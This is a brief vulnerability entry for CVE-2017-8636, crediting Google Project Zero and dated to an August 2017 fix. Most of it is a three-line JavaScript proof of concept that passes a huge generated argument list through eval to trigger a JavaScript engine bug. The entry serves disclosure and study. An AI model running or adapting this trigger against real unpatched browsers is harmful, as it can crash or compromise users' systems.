CVE-2017-8636.md

CVE-2017-8636

• Fix: Aug 2017
• Credit: lokihardt of Google Project Zero

PoC

let args = new Array(0x10000);
args = args.fill(0x1234).join(', ');
eval('new Array(' + args + ')');

Reference

• Microsoft
• Google Project Zero